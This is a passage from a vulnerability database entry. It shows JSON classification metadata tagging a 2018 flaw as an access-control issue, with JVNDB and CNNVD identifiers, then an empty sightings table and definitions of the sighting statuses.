Vulnerabilities related to authorization, permissions, and access control", "sources": [ { "db": "JVNDB", "id": "JVNDB-2018-008009" } ], "trust": 0.8 }, "type": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/type#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": "permissions and access control issues", "sources": [ { "db": "CNNVD", "id": "CNNVD-201807-891" } ], "trust": 0.6 } }
Sightings
Author | Source | Type | Date |
---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.